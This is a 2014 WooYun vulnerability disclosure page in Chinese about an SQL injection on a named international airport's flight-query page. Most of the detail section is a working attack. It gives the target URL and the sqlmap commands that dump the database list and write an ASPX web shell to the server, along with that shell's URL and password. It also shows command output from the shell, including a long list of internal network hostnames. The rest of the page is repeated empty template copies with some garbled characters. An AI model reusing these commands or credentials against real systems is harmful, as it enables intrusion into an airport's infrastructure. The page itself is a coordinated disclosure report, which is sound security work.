某机场SQL注入漏洞可直接控制服务器（内网主机信息泄漏）

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-078996

漏洞标题：某机场SQL注入漏洞可直接控制服务器（内网主机信息泄漏）

漏洞作者： poepada

提交时间：2014-10-11 17:15

修复时间：2014-11-25 17:20

公开时间：2014-11-25 17:20

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

2014-10-11：细节已通知厂商并且等待厂商处理中
2014-10-16：厂商已经确认，细节仅向厂商公开
2014-10-26：细节向核心白帽子及相关领域专家公开
2014-11-05：细节向普通白帽子公开
2014-11-15：细节向实习白帽子公开
2014-11-25：细节向公众公开

简要描述：

某国际机场官网,存在注入漏洞,可内网。

详细说明：

漏洞连接 http://www.dlairport.com/DLAirWeb/DLAPFlight.aspx?flightno=aa&No=1
使用SQLMAP可列裤

sqlmap -u "http://www.dlairport.com/DLAirWeb/DLAPFlight.aspx?flightno=aa&No=1" -p flightno --dbs
available databases [12]:
[*] AirportWeb
[*] back
[*] dloa
[*] lumigent
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
[*] test

使用数据库写文件可上传SHELL
sqlmap -u "http://www.dlairport.com/DLAirWeb/DLAPFlight.aspx?flightno=aa&No=1" -p flightno --file-write /home/3 --file-dest "d://DLAirportWeb//DLAirWeb//3_33.aspx"
SHEL连接：http://www.dlairport.com/DLAirWeb/3_33.aspx 密码：chopper221
SHELL可执行命令

[*] 基本信息 [ C:D:F: ]
D:\DLAirportWeb\dlairweb\> whoami
nt authority\network service
D:\DLAirportWeb\DLAirWeb\> net view
鏈嶅姟鍣ㄥ悕绉?           娉ㄩ噴
-------------------------------------------------------------------------------
\\1-PC                                                                         
\\20100525-1005                                                                
\\2OPUY9UBNK5UXWM                                                              
\\360SERVER                                                                    
\\66ZP90G7FBG8YPU                                                              
\\7GXV04SV3BWJK3Z                                                              
\\7HPT4J0MR5CKWSG                                                              
\\96600WBFLIGHT                                                                
\\987EE5E7E53648E                                                              
\\AA                                                                           
\\ADMIN-B2DE0FF49                                                              
\\ADMIN-JQSYP2SQY                                                              
\\AIRPORT                                                                      
\\ARCHIVES                                                                     
\\BEM4O69ZXSTSXXW                                                              
\\BGL-960B761EFA5                                                              
\\CARGO                                                                        
\\CARGOITDEP                                                                   
\\CI2HPOF8ARDXZYO                                                              
\\CT0JSHMM73XFBRE                                                              
\\CUSTOM                                                                       
\\DEPOA                                                                        
\\DLD                                                                          
\\EDISON100                                                                    
\\FEEYO                feeyo                                                   
\\GJCG01                                                                       
\\GJCG02                                                                       
\\GJJG01                                                                       
\\GJJG02                                                                       
\\GNJZ                                                                         
\\GNTHD                                                                        
\\HGHZSERVER                                                                   
\\HY_CX                                                                        
\\HYBG                                                                         
\\IMCCONTROL                                                                   
\\IMCLOG                                                                       
\\JWKAOQIN                                                                     
\\KT1UFQKYWSPLWVO                                                              
\\LE22AF7DA4E                                                                  
\\LENOSYF                                                                      
\\LENOV07916748                                                                
\\LENOVO-47F90FDF                                                              
\\LENOVO-5680C94B                                                              
\\LENOVO-PC                                                                    
\\LENOVO1-PC                                                                   
\\LENOVO10-PC                                                                  
\\LENOVO2-PC                                                                   
\\LENOVO5-PC                                                                   
\\LS-QVL286            LinkStation                                             
\\MAIL                                                                         
\\MESSAGE                                                                      
\\MICROSOF-D901E2                                                              
\\OASVR                OA-SERVER                                               
\\PC-201207131503                                                              
\\PC-20140331PPSV                                                              
\\QT-200601010056                                                              
\\QT-201206150930                                                              
\\QT-201211230903                                                              
\\QT-201302181438                                                              
\\QT-201310111546      ssss                                                    
\\QT-201310141445                                                              
\\QTY76N00FLRD8MX                                                              
\\SANGFORDATA                                                                  
\\SCENETRAFFIC                                                                 
\\SERVERBACKUP                                                                 
\\SQLSERVER21                                                                  
\\SQLSERVER26                                                                  
\\TELECOMMAS                                                                   
\\TEST123                                                                      
\\TIMES                                                                        
\\VIDEOSERV                                                                    
\\WIN-AT5K8DB0UHT                                                              
\\WIN-HCB7R4E68BG                                                              
\\WINDOWS-15H6MJC                                                              
\\WINDOWS-TF9BORG                                                              
\\WINDOWS-TKPJ81M                                                              
\\WWW-2C16E85739D                                                              
\\WWW-8D97D70DD4F                                                              
\\WWW-94C80C4484B                                                              
\\WXLT_MAS01                                                                   
\\XTGCK                                                                        
\\XZ-20140903DWDC                                                              
\\YXWB7G9X984EB83                                                              
鍛戒护鎴愬姛瀹屾垚銆?

SHELL权限也很大。
内网机器很多。可再次进行内网渗透。这里就不搞了。

漏洞证明：

修复方案：

对提交参数进行过滤。

版权声明：转载请注明来源 poepada@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2014-10-16 09:14

厂商回复：

漏洞评价：

2014-10-15 17:05 | X-Power ( 实习白帽子 | Rank:35 漏洞数:3 | 没事来打酱油)

能控制飞机端么！
2014-10-27 10:29 | Mxx ( 路人 | Rank:0 漏洞数:2 | 没有)

能发射导弹么？
2014-11-25 17:23 | 写个七 ( 路人 | Rank:4 漏洞数:1 | 一点一点积累。)

@Mxx @X-Power 能的哈哈

WooYun.org

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-078996

漏洞标题：某机场SQL注入漏洞可直接控制服务器（内网主机信息泄漏）

相关厂商：某国际机场

漏洞作者： poepada

提交时间：2014-10-11 17:15

修复时间：2014-11-25 17:20

公开时间：2014-11-25 17:20

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 poepada@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞评价：

评论

WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-078996

漏洞标题：某机场SQL注入漏洞可直接控制服务器（内网主机信息泄漏）

相关厂商：某国际机场

漏洞作者： poepada

提交时间：2014-10-11 17:15

修复时间：2014-11-25 17:20

公开时间：2014-11-25 17:20

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

Tags标签： 无

4人收藏 收藏 var token=""; var id="wooyun-2014-078996"; $(".btn-fav").click(function(){ CollectBug(id,token); }); 分享漏洞：

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 poepada@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞评价：

评论

漏洞概要关注数(24) 关注此漏洞

Tags标签：无

4人收藏收藏
分享漏洞：